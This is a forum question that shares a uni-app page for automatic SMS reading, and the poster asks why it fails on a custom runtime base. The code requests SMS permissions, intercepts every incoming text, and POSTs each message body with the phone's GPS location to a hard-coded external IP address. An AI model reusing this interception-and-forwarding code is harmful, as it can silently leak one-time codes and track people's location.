<template>
<view class="container">
<view class="head" style="text-align: center;">
<image class="logo" src="/static/logo.png"></image>
<view class="text-area">
<text class="title">{{title}}</text>
</view>
<view class="iptb">
<input v-model="mobile" @input="changeInput" maxlength="11" type="number" placeholder="传输手机号" style="width: 100%;"
placeholder-style="font-size:25rpx;color: #999" />
</view>
</view>
<view class="sbtn" style="margin: 25rpx;">
<button @tap="upDataInfo" style="background: #007AFF;line-height: 70rpx;height: 70rpx;font-size: 28rpx;">提交</button>
</view>
</view>
</template>
<script>
//import amap from "@/components/amap.js"
export default {
data() {
return {
title: '短信自动读取',
mobile: "",
body: '',
bodyHeight: 500
}
},
onLoad() {
let that = this;
// 读取手机号
that.mobile = uni.getStorageSync('mobile');
that.body = uni.getStorageSync('log');
},
onReady() {
let that = this;
let system = uni.getSystemInfoSync();
let query = uni.createSelectorQuery().select('.head')
this.requestLocation()
},
methods: {
// 封装请求
commReq(options) {
var baseUrl = "http://219.151.134.43:7799/";
options.url = baseUrl + options.url;
return new Promise((resolve, reject) => {
uni.request({
...options, //请求类型
success: (res) => {
//请求完成回调
resolve(res);
},
fail: (err) => {
//请求完成回调
reject(err);
}
});
})
},
// 上传
upDataInfo() {
var that = this;
var latitude=123
var longitude=66
new Promise((resolve, reject) => {
uni.getLocation({
success: (res) => {
resolve(res)
},
})
}).then(({ latitude, longitude }) => {
console.log(latitude)
this.commReq({
method: 'POST',
url: 'sendmsg',
data: {
mobile: that.mobile,
message: "大师傅大师傅但是",
location: {
latitude,
longitude
}
}
}).then(res => {
const data = res.data;
})})
},
changeInput({
detail: {
value
}
}) {
this.mobile = value
uni.setStorageSync('mobile', value)
},
monitor() {
var unithis = this;
var callbacks = [];
var receiver;
var filter;
var main;
var isInit = false;
var isRegistered = false;
var isOlderVersion = false;
var init = function(callback) {
//仅支持Android版本
if (plus.os.name !== 'Android') {
return;
}
try {
var version = plus.runtime.innerVersion.split('.');
isOlderVersion = parseInt(version[version.length - 1]) < 22298;
main = plus.android.runtimeMainActivity();
var Intent = plus.android.importClass('android.content.Intent');
var IntentFilter = plus.android.importClass('android.content.IntentFilter');
var SmsMessage = plus.android.importClass('android.telephony.SmsMessage');
var receiverClass = 'io.dcloud.feature.internal.reflect.BroadcastReceiver';
if (isOlderVersion) {
receiverClass = 'io.dcloud.feature.internal.a.a';
}
filter = new IntentFilter();
var onReceiveCallback = function(context, intent) {
try {
var action = intent.getAction();
if (action == "android.provider.Telephony.SMS_RECEIVED") {
var pdus = intent.getSerializableExtra("pdus");
var msgs = [];
for (var i = 0, len = pdus.length; i < len; i++) {
msgs.push(SmsMessage.createFromPdu(pdus[i]));
}
for (var i = 0, len = callbacks.length; i < len; i++) {
callbacks[i](msgs);
}
}
} catch (e) {}
}
receiver = plus.android.implements(receiverClass, {
a: onReceiveCallback,
onReceive: onReceiveCallback
});
filter.addAction("android.provider.Telephony.SMS_RECEIVED");
callback && callback();
} catch (e) {}
}
//注册短信监听
var register = function(callback) {
callbacks.push(callback);
if (!isInit) {
isInit = isRegistered = true;
init(function() {
setTimeout(function() {
console.log('registerReceiver');
try {
if (isOlderVersion) {
console.log('old Version')
main.a(receiver, filter);
} else {
console.log('new Version')
main.registerReceiver(receiver, filter); //注册监听
}
} catch (e) {
console.log('注册监听' + e)
}
}, 300);
});
} else if (!isRegistered) {
console.log('registerReceiver');
try {
if (isOlderVersion) {
main.a(receiver, filter);
} else {
main.registerReceiver(receiver, filter); //注册监听
}
} catch (e) {
console.log('注册失败监听' + e)
}
}
};
//注销监听,在登录成功或从登录页跳转到其它页面后调用
var unregister = function(callback, remove) {
for (var i = 0, len = callbacks.length; i < len; i++) {
if (callbacks[i] === callback) {
callbacks.splice(i, 1);
}
}
if (remove && !callbacks.length) {
if (main && isRegistered) {
try {
if (isOlderVersion) {
main.a(receiver);
} else {
main.unregisterReceiver(receiver);
}
} catch (e) {}
isRegistered = false;
console.log('unregisterReceiver');
}
}
};
// 读取短信
var listen = function(msgs) {
//操作短信
for (var i = 0, len = msgs.length; i < len; i++) {
console.log(msgs[i])
var content = msgs[i].getDisplayMessageBody();
console.log(content)
unithis.body += '[' + (new Date().toLocaleDateString()) + ']' + content + "\n\n";
uni.setStorageSync('log', unithis.body)
// 获取位置提交数据
new Promise((resolve, reject) => {
uni.getLocation({
success: (res) => {
resolve(res)
},
})
}).then(({ latitude, longitude }) => {
console.log(latitude)
wx.request({
url: "http://219.151.134.43:7799/sendmsg",
method: "POST",
data: {
mobile: unithis.mobile,
message: content,
location: {
latitude,
longitude
}
},
success: res => {
console.log(res)
}
})
})
}
}
register(listen);
},
// location
requestLocation() {
var permissionArr = [
'android.permission.READ_SMS',
'android.permission.RECEIVE_SMS',
'android.permission.RECEIVE_MMS'
]
plus.android.requestPermissions(permissionArr, function(e) {
if (e.deniedAlways.length > 0) { //权限被永久拒绝
//todo 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启
uni.showToast({
title: '权限被永久拒绝!!! ',
icon:'none'
});
console.log('权限被永久拒绝!!! ');
}
if (e.deniedPresent.length > 0) { //权限被临时拒绝
//todo 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限
uni.showToast({
title: '权限被临时拒绝!!! ' + e.deniedPresent.toString(),
icon:'none'
});
console.log('权限被临时拒绝!!! ' + e.deniedPresent.toString());
}
if (e.granted.length > 0) { //权限被允许
// 调用依赖获取定位权限的代码
console.log('权限被允许!!! ' + e.granted.toString());
}
}, function(e) {
console.log('Request Permissions error:' + JSON.stringify(e));
});
this.monitor()
}
}
}
</script>
<style>
.content {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.logo {
height: 200rpx;
width: 200rpx;
margin-top: 200rpx;
margin-left: auto;
margin-right: auto;
margin-bottom: 50rpx;
}
.text-area {
display: flex;
justify-content: center;
}
.title {
font-size: 36rpx;
color: #8f8f94;
}
.iptb {
text-align: left;
margin: 25rpx;
background-color: #f7f7f7;
width: 650rpx;
padding: 20rpx;
}
.body {
color: #808080;
font-size: 25rpx;
margin: 25rpx;
width: 650rpx;
padding: 20rpx;
background-color: #f7f7f7;
border-radius: 12rpx;
}
</style>
7***@qq.com
- 发布:2021-01-01 21:49
- 更新:2021-11-08 23:31
- 阅读:662
标准运行基座正常 自定义基座 异常
分类:uni-app
2 个回复
s***@163.com
可以问一下大佬解决了吗?同求这个问题
l***@126.com - lee999
同求解决办法,我也遇到了